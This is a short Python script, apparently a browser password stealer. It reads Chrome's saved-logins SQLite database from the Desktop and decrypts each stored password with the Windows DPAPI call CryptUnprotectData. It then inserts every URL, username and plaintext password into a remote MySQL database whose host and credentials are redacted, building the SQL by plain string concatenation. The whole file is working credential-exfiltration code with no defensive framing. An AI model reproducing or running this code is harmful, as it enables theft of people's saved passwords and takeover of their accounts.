import os
import sqlite3
import sys
import win32crypt
import mysql.connector

myconn = mysql.connector.connect(user='<redacted>', password='<redacted>',
                              host='<redacted>',
                              database='<redacted>')

from os.path import expanduser
home = expanduser("~")
conn = sqlite3.connect(home + "\\Desktop\\Login Data")
cursor = conn.cursor()

cursor.execute('SELECT action_url, username_value, password_value FROM logins;')

data = cursor.fetchall()

for result in data:
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1].decode("utf-8")
    sql = "INSERT INTO poop(URL, Username, Password) VALUES('"+result[0]+"','"+result[1]+"','"+password+"');"
    curs = myconn.cursor()
    curs.execute(sql)
myconn.close()
input("Done!")